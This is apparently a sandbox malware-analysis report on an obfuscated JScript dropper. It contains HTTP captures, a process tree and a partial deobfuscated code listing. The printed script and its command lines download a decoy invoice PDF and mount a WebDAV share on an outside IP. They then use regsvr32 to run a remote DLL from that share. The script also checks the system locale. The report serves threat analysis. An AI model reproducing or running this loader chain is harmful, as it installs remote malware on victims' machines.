Jan 11, 2025 06:12:09.647469044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:12:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:12:09.647542953 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:12:09.647578955 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:12:09.647610903 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:12:09.647644997 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:12:09.647680044 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:12:09.647711992 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:12:09.647743940 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:12:09.647774935 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 06:12:09.647809029 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 06:12:09.652718067 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7240	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:12:11.776235104 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:12:12.578308105 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:12:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:12:03
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js"
Imagebase:	0x7ff695140000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:12:04
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll
Imagebase:	0x7ff7f2920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:12:04
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:12:04
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:12:09
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:12:09
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f2920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:12:10
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74c460000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:12:10
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:12:11
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:12:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1592,i,1124038482124866713,3683872806393719021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function foevs() {	foevs() ➔ undefined
1	lyuttuza = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gowevgqjv = this[zlrpyiw + psusap + mxreps + hmrhzh + jrlkil + pfttgglj + buqvr + osjmxvtb] ( this[pytmnd + mipwf + aynoqxax + mxreps + btkju + zlrpyiw + osjmxvtb][prsbiyhss + mxreps + jrlkil + psusap + osjmxvtb + jrlkil + mraltziph + fhmunnz + ropkpqdjn + jrlkil + aynoqxax + osjmxvtb] ( pytmnd + mipwf + aynoqxax + mxreps + btkju + zlrpyiw + osjmxvtb + yewjy + mipwf + inbrdf + jrlkil + yfcistk + yfcistk ) [eyqycmh + jrlkil + utbclnlg + eyqycmh + jrlkil + psusap + nbhohfqpp] ( suqikwwj + qpfyabhq + dtimac + skrse + vzztslmz + prsbiyhss + mbugcgv + eyqycmh + eyqycmh + dtimac + zhtumtd + ypedexlj + vzztslmz + mbugcgv + mipwf + dtimac + eyqycmh + exnkf + prsbiyhss + iqcirvoe + buqvr + osjmxvtb + mxreps + iqcirvoe + yfcistk + xkztv + mipcn + psusap + buqvr + jrlkil + yfcistk + exnkf + pfttgglj + buqvr + osjmxvtb + jrlkil + mxreps + buqvr + psusap + osjmxvtb + btkju + iqcirvoe + buqvr + psusap + yfcistk + exnkf + faylss + iqcirvoe + aynoqxax + psusap + yfcistk + jrlkil ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jdliygy = 0 ; jdliygy < lyuttuza[yfcistk + jrlkil + buqvr + utbclnlg + osjmxvtb + inbrdf] ; ++ jdliygy )
4	{
5	if ( gowevgqjv == lyuttuza[jdliygy] )
6	{
7	gowevgqjv = true;
8	break ;
9	}
10	}
11	if ( gowevgqjv !== true )
12	this[pytmnd + mipwf + aynoqxax + mxreps + btkju + zlrpyiw + osjmxvtb][nqzrtd + tgdergll + btkju + osjmxvtb] ( );
13	this[pytmnd + mipwf + aynoqxax + mxreps + btkju + zlrpyiw + osjmxvtb][prsbiyhss + mxreps + jrlkil + psusap + osjmxvtb + jrlkil + mraltziph + fhmunnz + ropkpqdjn + jrlkil + aynoqxax + osjmxvtb] ( pytmnd + mipwf + aynoqxax + mxreps + btkju + zlrpyiw + osjmxvtb + yewjy + mipwf + inbrdf + jrlkil + yfcistk + yfcistk ) [mxreps + tgdergll + buqvr] ( aynoqxax + hmoperw + nbhohfqpp + xkztv + ypcsnvknr + aynoqxax + xkztv + zlrpyiw + iqcirvoe + uiuyrss + jrlkil + mxreps + hmrhzh + inbrdf + jrlkil + yfcistk + yfcistk + yewjy + jrlkil + rmsaqim + jrlkil + xkztv + cepep + prsbiyhss + iqcirvoe + hmoperw + hmoperw + psusap + buqvr + nbhohfqpp + xkztv + ugyowe + pfttgglj + buqvr + xjbcpyrh + iqcirvoe + bnbjpiipn + jrlkil + cepep + pytmnd + jrlkil + fhmunnz + eyqycmh + jrlkil + qsvqusoa + tgdergll + jrlkil + hmrhzh + osjmxvtb + xkztv + cepep + mraltziph + tgdergll + osjmxvtb + vhwsey + btkju + yfcistk + jrlkil + xkztv + qetow + osjmxvtb + jrlkil + hmoperw + zlrpyiw + qetow + exnkf + btkju + buqvr + xjbcpyrh + iqcirvoe + btkju + aynoqxax + jrlkil + yewjy + zlrpyiw + nbhohfqpp + szfcplug + xkztv + inbrdf + osjmxvtb + osjmxvtb + zlrpyiw + qmkhlob + ypcsnvknr + ypcsnvknr + zzfwllonk + hgmweg + sjckpe + yewjy + zzfwllonk + dysjl + sjckpe + yewjy + zzfwllonk + yewjy + ruildlf + punhfmpnt + modpiqyfp + ypcsnvknr + btkju + buqvr + xjbcpyrh + iqcirvoe + btkju + aynoqxax + jrlkil + yewjy + zlrpyiw + inbrdf + zlrpyiw + ugyowe + jknfuk + jknfuk + hmrhzh + osjmxvtb + psusap + mxreps + osjmxvtb + xkztv + qetow + osjmxvtb + jrlkil + hmoperw + zlrpyiw + qetow + exnkf + btkju + buqvr + xjbcpyrh + iqcirvoe + btkju + aynoqxax + jrlkil + yewjy + zlrpyiw + nbhohfqpp + szfcplug + jknfuk + jknfuk + aynoqxax + hmoperw + nbhohfqpp + xkztv + ypcsnvknr + aynoqxax + xkztv + buqvr + jrlkil + osjmxvtb + xkztv + tgdergll + hmrhzh + jrlkil + xkztv + exnkf + exnkf + zzfwllonk + hgmweg + sjckpe + yewjy + zzfwllonk + dysjl + sjckpe + yewjy + zzfwllonk + yewjy + ruildlf + punhfmpnt + modpiqyfp + lnjxpvg + jxxerrda + jxxerrda + jxxerrda + jxxerrda + exnkf + nbhohfqpp + psusap + xjbcpyrh + uiuyrss + uiuyrss + uiuyrss + mxreps + iqcirvoe + iqcirvoe + osjmxvtb + exnkf + jknfuk + jknfuk + aynoqxax + hmoperw + nbhohfqpp + xkztv + ypcsnvknr + aynoqxax + xkztv + mxreps + jrlkil + utbclnlg + hmrhzh + xjbcpyrh + mxreps + sjckpe + ruildlf + xkztv + ypcsnvknr + hmrhzh + xkztv + exnkf + exnkf + zzfwllonk + hgmweg + sjckpe + yewjy + zzfwllonk + dysjl + sjckpe + yewjy + zzfwllonk + yewjy + ruildlf + punhfmpnt + modpiqyfp + lnjxpvg + jxxerrda + jxxerrda + jxxerrda + jxxerrda + exnkf + nbhohfqpp + psusap + xjbcpyrh + uiuyrss + uiuyrss + uiuyrss + mxreps + iqcirvoe + iqcirvoe + osjmxvtb + exnkf + modpiqyfp + oxscdmb + hgmweg + zzfwllonk + zzfwllonk + jxxerrda + jxxerrda + modpiqyfp + sjckpe + zzfwllonk + zzfwllonk + zzfwllonk + oxscdmb + zzfwllonk + yewjy + nbhohfqpp + yfcistk + yfcistk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll",0,false) ➔ 0
14	}
15	yewjy = "l";
16	yewjy = "H";
17	yewjy = "p";
18	yewjy = "y";
19	yewjy = "V";
20	yewjy = "E";
21	yewjy = "T";
22	yewjy = "p";
23	yewjy = "v";
24	yewjy = "c";
25	yewjy = ".";
26	inbrdf = "s";
27	inbrdf = "J";
28	inbrdf = "M";
29	inbrdf = "e";
30	inbrdf = "a";
31	inbrdf = "T";
32	inbrdf = "D";
33	inbrdf = "h";
34	osjmxvtb = "y";
35	osjmxvtb = "Q";
36	osjmxvtb = "Y";
37	osjmxvtb = "K";
38	osjmxvtb = "G";
39	osjmxvtb = "Q";
40	osjmxvtb = "d";
41	osjmxvtb = "G";
42	osjmxvtb = "y";
43	osjmxvtb = "N";
44	osjmxvtb = "B";
45	osjmxvtb = "s";
46	osjmxvtb = "W";
47	osjmxvtb = "A";
48	osjmxvtb = "n";
49	osjmxvtb = "V";
50	osjmxvtb = "y";
51	osjmxvtb = "d";
52	osjmxvtb = "W";
53	osjmxvtb = "r";
54	osjmxvtb = "C";
55	osjmxvtb = "E";
56	osjmxvtb = "Z";
57	osjmxvtb = "m";
58	osjmxvtb = "F";
59	osjmxvtb = "d";
60	osjmxvtb = "s";
61	osjmxvtb = "j";
62	osjmxvtb = "k";
63	osjmxvtb = "V";
64	osjmxvtb = "t";
65	mbugcgv = "Z";
66	mbugcgv = "M";
67	mbugcgv = "e";
68	mbugcgv = "c";
69	mbugcgv = "w";
70	mbugcgv = "d";
71	mbugcgv = "j";
72	mbugcgv = "e";
73	mbugcgv = "U";
74	mbugcgv = "Q";
75	mbugcgv = "q";
76	mbugcgv = "y";
77	mbugcgv = "T";
78	mbugcgv = "r";
79	mbugcgv = "X";
80	mbugcgv = "m";
81	mbugcgv = "B";
82	mbugcgv = "U";
83	lnjxpvg = "S";
84	lnjxpvg = "q";
85	lnjxpvg = "v";
86	lnjxpvg = "I";
87	lnjxpvg = "u";
88	lnjxpvg = "o";
89	lnjxpvg = "F";
90	lnjxpvg = "J";
91	lnjxpvg = "b";
92	lnjxpvg = "E";
93	lnjxpvg = "S";
94	lnjxpvg = "O";
95	lnjxpvg = "i";
96	lnjxpvg = "a";
97	lnjxpvg = "z";
98	lnjxpvg = "d";
99	lnjxpvg = "X";
100	lnjxpvg = "@";
101	zhtumtd = "L";
102	zhtumtd = "y";
103	zhtumtd = "j";
104	zhtumtd = "K";
105	zhtumtd = "K";
106	zhtumtd = "V";
107	zhtumtd = "j";
108	zhtumtd = "k";
109	zhtumtd = "a";
110	zhtumtd = "H";
111	zhtumtd = "c";
112	zhtumtd = "T";
113	zhtumtd = "n";
114	zhtumtd = "G";
115	zhtumtd = "Z";
116	zhtumtd = "N";
117	zhtumtd = "h";
118	zhtumtd = "X";
119	zhtumtd = "f";
120	zhtumtd = "A";
121	zhtumtd = "p";
122	zhtumtd = "X";
123	zhtumtd = "k";
124	zhtumtd = "Y";
125	zhtumtd = "x";
126	zhtumtd = "B";
127	zhtumtd = "o";
128	zhtumtd = "R";
129	zhtumtd = "z";
130	zhtumtd = "P";
131	zhtumtd = "P";
132	zhtumtd = "H";
133	zhtumtd = "A";
134	zhtumtd = "C";
135	zhtumtd = "f";
136	zhtumtd = "m";
137	zhtumtd = "s";
138	zhtumtd = "t";
139	zhtumtd = "L";
140	zhtumtd = "S";
141	zhtumtd = "D";
142	zhtumtd = "N";
143	aynoqxax = "O";
144	aynoqxax = "W";
145	aynoqxax = "Z";
146	aynoqxax = "N";
147	aynoqxax = "i";
148	aynoqxax = "M";
149	aynoqxax = "v";
150	aynoqxax = "Z";
151	aynoqxax = "r";
152	aynoqxax = "i";
153	aynoqxax = "i";
154	aynoqxax = "q";
155	aynoqxax = "j";
156	aynoqxax = "T";
157	aynoqxax = "d";
158	aynoqxax = "M";
159	aynoqxax = "W";
160	aynoqxax = "x";
161	aynoqxax = "S";
162	aynoqxax = "a";
163	aynoqxax = "U";
164	aynoqxax = "c";
165	zzfwllonk = "P";
166	zzfwllonk = "K";
167	zzfwllonk = "o";
168	zzfwllonk = "l";
169	zzfwllonk = "M";
170	zzfwllonk = "u";
171	zzfwllonk = "k";
172	zzfwllonk = "T";
173	zzfwllonk = "A";
174	zzfwllonk = "U";
175	zzfwllonk = "B";
176	zzfwllonk = "y";
177	zzfwllonk = "p";
178	zzfwllonk = "k";
179	zzfwllonk = "K";
180	zzfwllonk = "I";
181	zzfwllonk = "c";
182	zzfwllonk = "M";
183	zzfwllonk = "K";
184	zzfwllonk = "V";
185	zzfwllonk = "t";
186	zzfwllonk = "y";
187	zzfwllonk = "h";
188	zzfwllonk = "f";
189	zzfwllonk = "n";
190	zzfwllonk = "J";
191	zzfwllonk = "a";
192	zzfwllonk = "e";
193	zzfwllonk = "O";
194	zzfwllonk = "T";
195	zzfwllonk = "V";
196	zzfwllonk = "u";
197	zzfwllonk = "O";
198	zzfwllonk = "r";
199	zzfwllonk = "t";
200	zzfwllonk = "r";
201	zzfwllonk = "q";
202	zzfwllonk = "b";
203	zzfwllonk = "P";
204	zzfwllonk = "C";
205	zzfwllonk = "1";
206	mipcn = "v";
207	mipcn = "l";
208	mipcn = "h";
209	mipcn = "e";
210	mipcn = "u";
211	mipcn = "B";
212	mipcn = "E";
213	mipcn = "t";
214	mipcn = "Z";
215	mipcn = "F";
216	mipcn = "A";
217	mipcn = "D";
218	mipcn = "e";
219	mipcn = "w";
220	mipcn = "P";
221	jrlkil = "C";
222	jrlkil = "V";
223	jrlkil = "e";
224	jrlkil = "m";
225	jrlkil = "V";
226	jrlkil = "y";
227	jrlkil = "u";
228	jrlkil = "z";
229	jrlkil = "I";
230	jrlkil = "g";
231	jrlkil = "Y";
232	jrlkil = "J";
233	jrlkil = "Y";
234	jrlkil = "a";
235	jrlkil = "p";
236	jrlkil = "w";
237	jrlkil = "u";
238	jrlkil = "I";
239	jrlkil = "x";
240	jrlkil = "P";
241	jrlkil = "P";
242	jrlkil = "a";
243	jrlkil = "N";
244	jrlkil = "G";
245	jrlkil = "P";
246	jrlkil = "g";
247	jrlkil = "v";
248	jrlkil = "G";
249	jrlkil = "z";
250	jrlkil = "x";
251	jrlkil = "t";
252	jrlkil = "o";
253	jrlkil = "Q";
254	jrlkil = "l";
255	jrlkil = "L";
256	jrlkil = "f";
257	jrlkil = "z";
258	jrlkil = "z";
259	jrlkil = "i";
260	jrlkil = "Y";
261	jrlkil = "G";
262	jrlkil = "U";
263	jrlkil = "e";
264	jknfuk = "O";
265	jknfuk = "x";
266	jknfuk = "N";
267	jknfuk = "R";
268	jknfuk = "H";
269	jknfuk = "u";
270	jknfuk = "Z";
271	jknfuk = "t";
272	jknfuk = "x";
273	jknfuk = "i";
274	jknfuk = "i";
275	jknfuk = "S";
276	jknfuk = "&";
277	qmkhlob = "N";
278	qmkhlob = "d";
279	qmkhlob = "m";
280	qmkhlob = "C";
281	qmkhlob = "e";
282	qmkhlob = "u";
283	qmkhlob = "A";
284	qmkhlob = "i";
285	qmkhlob = "e";
286	qmkhlob = "s";
287	qmkhlob = "x";
288	qmkhlob = "V";
289	qmkhlob = "S";
290	qmkhlob = "x";
291	qmkhlob = ":";
292	skrse = "R";
293	skrse = "G";
294	skrse = "K";
295	skrse = "l";
296	skrse = "J";
297	skrse = "z";
298	skrse = "Q";
299	skrse = "t";
300	skrse = "v";
301	skrse = "i";
302	skrse = "t";
303	skrse = "I";
304	skrse = "Y";
305	skrse = "P";
306	skrse = "s";
